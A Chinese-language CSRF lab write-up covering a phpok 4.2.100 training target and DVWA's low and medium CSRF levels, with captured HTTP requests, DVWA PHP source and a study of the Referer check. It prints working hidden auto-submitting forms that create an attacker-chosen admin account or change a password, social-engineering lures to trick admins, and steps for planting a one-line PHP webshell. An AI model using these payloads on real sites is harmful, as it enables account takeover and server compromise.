CSRF
文章目录
DVWA靶场的解释
Cross Site Request Forgery 跨站请求伪造
CSRF发生的过程
phpok4.2.100 CSRF靶场
1.利用服务端对客户端浏览器的信任,让用户点击钓鱼链接执行命令
具体的说,就是当用户登录某个网站之后,作为用户代理的浏览器会保存该用户在网站的cookie,包括登录信息啥的.此时攻击者整一个钓鱼链接发给用户,用户点击之后执行这个链接,然后以用户的名义(cookie)在网站做出行为.如果用户是管理员则该链接可以是创建新的管理员账号的行为,新管理员账号的用户名和密码都是攻击者设计的
这样干说还是抽象,实际操作可能是这样的:
当我们以管理员身份登录后台,可以添加系统管理员账号,我们到现在还没有攻击手段,以只是以管理员视角看看管理员的请求是什么样的
点击提交之后burp抓到数据包,这就是发往后端的注册新管理员的请求
对于攻击者来说,要借助管理员之手为自己创建一个这样的管理员账号,就是要让管理员发送这么一个数据包
注意这里有两个关键点,一是让管理员来干,不是自己,利用的是管理员的cookie
二是发送这么一个数据包
POST /admin.php?c=admin&f=save HTTP/1.1
Host: 4e34e4cb.lxctf.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.6) Gecko/20040206 Firefox/0.8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 61
Origin: http://4e34e4cb.lxctf.net
Connection: close
Referer: http://4e34e4cb.lxctf.net/admin.php?c=admin&f=set
Cookie: PHPSESSION=1gptgbg62pvo0p4s79nft94ok1
Upgrade-Insecure-Requests: 1
id=&account=dsfd&pass=afdsf&email=adfads&status=1&if_system=1S
显然可以通过页面请求实现,即写一个HTML页面向后端请求
云演课堂给出的网页是这样写的
<div style="display:none">
<form action="http://<这里是网页的域名或者ip:port地址>/admin.php?c=admin&f=save" id="poc" name="poc" method="post">
<input type="hidden" name="id" value=""/>
<input type="hidden" name="account" value=""/>
<input type="hidden" name="pass" value=""/>
<input type="hidden" name="email" value=""/>
<input type="hidden" name="status" value=""/>
<input type="hidden" name="if_system" value=""/>
<input type="submit" name="up" value="submit"/>
</form>
<script>
var t = document.poc;
t.account.value="666666";
t.pass.value="123456";
t.status.value="1";
t.if_system.value="1";
document.poc.submit();
</script>
</div>
这个网页由于input标签的类型都是"hidden"不可见,打开之后一片空白,但是却通过脚本修改并提交了表单.
最后一步是忽悠管理员来打开这个页面,此时需要"通过社工的方法"
比如将该HTML页面以"色图"的名义通过qq发给管理员朋友,诱惑他执行
或者将该页面挂在网上,(目的是像图床一样让别人通过链接访问到该页面),然后在该网页的论坛等能发言的地方说"这个问题怎么解决啊,求教管理大大,http:\balabala",然后管理员热情打开这个链接试图解决问题却发现一个空白页面,一脸懵逼但是没有办法,也没有按下F12看看前端干了啥就走了,这时他连自己是帮凶都不知道
2.管理员上钩了
如果一个管理员足够傻点开了色图,那么一个新的管理员账号就会注册,其用户名和密码都是我们所知的
我们有了系统管理员权限,下一步就是留一个后门(木马)在服务端
需要找一个能够操作后端文件的地方,比如这个"风格管理"
改名使得文件可以被改成php后缀执行
编辑使得文件可以被改写内容成一句话木马
比如我们拿倒霉的head.html做如下手术
1.加上一句话木马,口令是c
2.修改后缀名使其可执行
改完之后可怜的head.html变成了内鬼head.php
3.中国菜刀或者中国蚁剑木马计
在风格管理页面最下面傻傻地给出了我们的内鬼所在的位置
我们推测内鬼在
http://4a263ba9.lxctf.net/tpl/www/head.php
使用中国蚁剑
网站权限就到手了
内鬼同志也在这里
DVWA CSRF low
页面逻辑
首先分析一下页面逻辑
Test Credentials按钮点击后会弹窗测试用户名和密码是否正确
Change点击后提交密码修改的表单请求
在前端代码上看则会更清晰
<div class="body_padded">
<h1>Vulnerability: Cross Site Request Forgery (CSRF)</h1>
<div class="vulnerable_code_area">
<h3>Change your admin password:</h3><br />
<div id="test_credentials">
<button onclick="testFunct()">Test Credentials</button><br /><br />
<script>
function testFunct(){
window.open("../../vulnerabilities/csrf/test_credentials.php","_blank",
"toolbar=yes,scrollbars=yes,resizable=yes,top=500,left=500,width=600,height=400");
}//弹窗显示test_credentials.php
</script>
</div><br />
<form action="#" method="GET">//get表单
New password:<br />
<input type="password" AUTOCOMPLETE="off" name="password_new"><br />
Confirm new password:<br />
<input type="password" AUTOCOMPLETE="off" name="password_conf"><br />
<br />
<input type="submit" value="Change" name="Change">
</form>
</div>
</div>
下面是后端的逻辑
low.php
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {//验证重复输入密码和第一次是否相同
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );//以md5方式加密,同时意味着sql注入是没有任何可能的
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
//数据库更新语句
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
就是一后端接收新密码,加密,修改数据库的过程
test_credentials.php
<?php
define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );
require_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';
dvwaPageStartup( array( 'authenticated', 'phpids' ) );
dvwaDatabaseConnect();
$login_state = "";
if( isset( $_POST[ 'Login' ] ) ) {
$user = $_POST[ 'username' ];
$user = stripslashes( $user );//去掉用户名中的反斜杠
$user = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user);
$pass = $_POST[ 'password' ];
$pass = stripslashes( $pass );
$pass = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass);
$pass = md5( $pass );//md5加密,准备与存入数据库中的md5密码进行字符串比较
$query = "SELECT * FROM `users` WHERE user='$user' AND password='$pass';";//如果user,pass都与数据库符合则密码正确
$result = @mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>'. mysqli_connect_error() . '.<br />Try <a href="setup.php">installing again</a>.</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) { // Login Successful...
$login_state = "<h3 class=\"loginSuccess\">Valid password for '{$user}'</h3>";
}else{
// Login failed
$login_state = "<h3 class=\"loginFail\">Wrong password for '{$user}'</h3>";
}
}
$messagesHtml = messagesPopAllToHtml();
$page = dvwaPageNewGrab();
$page[ 'title' ] .= "Test Credentials";
$page[ 'body' ] .= "
<div class=\"body_padded\">
<h1>Test Credentials</h1>
<h2>Vulnerabilities/CSRF</h2>
<div id=\"code\">
<form action=\"" . DVWA_WEB_PAGE_TO_ROOT . "vulnerabilities/csrf/test_credentials.php\" method=\"post\">
<fieldset>
" . $login_state . "
<label for=\"user\">Username</label><br /> <input type=\"text\" class=\"loginInput\" size=\"20\" name=\"username\"><br />
<label for=\"pass\">Password</label><br /> <input type=\"password\" class=\"loginInput\" AUTOCOMPLETE=\"off\" size=\"20\" name=\"password\"><br />
<p class=\"submit\"><input type=\"submit\" value=\"Login\" name=\"Login\"></p>
</fieldset>
</form>
{$messagesHtml}
</div>
</div>\n";
dvwaSourceHtmlEcho( $page );
?>
以用户输入作为数据库查询条件,如果查询结果有一条则报告正确
CSRF攻击需要构造页面发送请求是用户被迫实现密码修改
页面如何构造?
构造请求
回到本题
首先截获修改密码之后前端法向后端的数据包:
GET /dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change HTTP/1.1
Host: 192.168.171.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 Edg/99.0.1150.46
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.171.1/dvwa/vulnerabilities/csrf/?password_new=213456&password_conf=456456&Change=Change
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: security=low; PHPSESSID=idb05i6tdn5efjv4nlr99uos21
Connection: close
发现这是一个get数据包(使用的是get还是post也可以直接在前端查看页面源代码发现)
get可以在url行直接带参数,于是我们这样写
http://192.168.171.1/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#
只要点击这个链接就发送数据包:
GET /dvwa/vulnerabilities/csrf/?password_new=12345&password_conf=12345&Change=Change HTTP/1.1
Host: 192.168.171.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 Edg/99.0.1150.46
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: security=medium; PHPSESSID=mr9ohnj3uut2qbhrrjq4ida9g1
Connection: close
也可以仿照云演课堂中构造的html页面:
<div style="display:none">
<form action="http://192.168.171.1/dvwa/vulnerabilities/csrf/" id="poc" name="poc" method="get">
<input type="hidden" name="password_new" value=""/>
<input type="hidden" name="password_conf" value=""/>
<input type="hidden" name="Change" value=""/>
</form>
<script>
var t = document.poc;
t.password_new.value="12345";
t.password_conf.value="12345";
t.Change.value="Change";
document.poc.submit();
</script>
</div>
打开页面后同样可以达到目的
GET /dvwa/vulnerabilities/csrf/?password_new=12345&password_conf=12345&Change=Change HTTP/1.1
Host: 192.168.171.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 Edg/99.0.1150.46
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: security=medium; PHPSESSID=mr9ohnj3uut2qbhrrjq4ida9g1
Connection: close
考虑CSRF可以发生的原因:
这个low等级的靶场实在是low,
一是修改密码使用明文传输并且域名行可见的get
这个数据包经过的所有路由都可见,就像在裸奔
二是修改密码不需要输入原密码
如果加上原密码验证则CSRF攻击会直接失去意义
因为,修改密码的逻辑是我们给用户安排好的,这意味着他的原密码我们也是知道的,既然知道他的密码,那么直接登录就好了为啥还要给他修改密码
防御与绕过
DVWA CSRF medium
后端逻辑
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
用刚才low靶场构造的页面同样作用于medium靶场
报错"That request didn’t look correct",回到后端代码发现是
stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false
//就相当于stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ])===true
为false,没有执行if语句,执行的是else
下面研究该条if判断语句的作用:
function stripos(string $haystack, string $needle, int $offset) false|int
是子串定位函数从第一个参数字符串中寻找第二个字符串的位置,第三个参数是偏移量指定从第一个参数的什么位置开始寻找
在本题中stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ])
是在$_SERVER[ 'HTTP_REFERER' ]
找$_SERVER[ 'SERVER_NAME' ]
,这俩是啥东西呢?
$_SERVER
走一遍"合法"的密码修改,填写表单后提交,然后抓包观察数据包
GET /dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change HTTP/1.1
Host: 192.168.171.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 Edg/99.0.1150.46
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.171.1/dvwa/vulnerabilities/csrf/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: security=medium; PHPSESSID=mr9ohnj3uut2qbhrrjq4ida9g1
Connection: close
发现正儿八经修改密码时确实是有后端需要的Referer和Host的,而我们一开始构造的页面显然没有Referer
$_SERVER["HTTP_REFERER"]=Referer=http://192.168.171.1/dvwa/vulnerabilities/csrf/
$_SERVER["SERVER_NAME"]=Host=192.168.171.1
到此我们大体可以知道medium这样判断的逻辑了:
1.Referer是修改密码之前的页面,开发者认为应当是http://192.168.171.1/dvwa/vulnerabilities/csrf/
,也就是说修改密码的请求是用户通过该页面点击"Change"按钮提交的,此时该请求会自动带上前一页作为Referer
2.如果Referer中没有server_name即192.168.171.1/dvwa
或者网站的域名,说明该修改密码的请求是造的,假的,不能通过
那么对策是什么?
Referer就一定必须通过前一页点进一个链接才能带上前一页作为Referer吗?或者说Referer能否伪造?
上网搜了一下"怎么修改Referer",发现一个这样的说法
JavaScript 能否修改 Referer 请求头_瑟荻的博客-CSDN博客
这证明我们猜想的对策是正确的
但是试图通过javascript修改Referer的操作却被证明是无效的,比如这样document.referrer="http://192.168.171.1/dvwa/vulnerabilities/csrf/";
因为浏览器禁止了javascript对Referer的修改,这个修改只能是后端来做
伪造Referer引荐人
我们还是希望通过让远程用户打开一个"色图"网页或者链接这种方式,让他们被迫就范
网上给出的方法:
DVWA-CSRF - 知乎 (zhihu.com)
我也试了,但是就是带不上Referer,抓包看也没有Referer
麻了麻了,对于CSRF的研究就到这里吧,不会有哪个管理员傻傻地看色图吧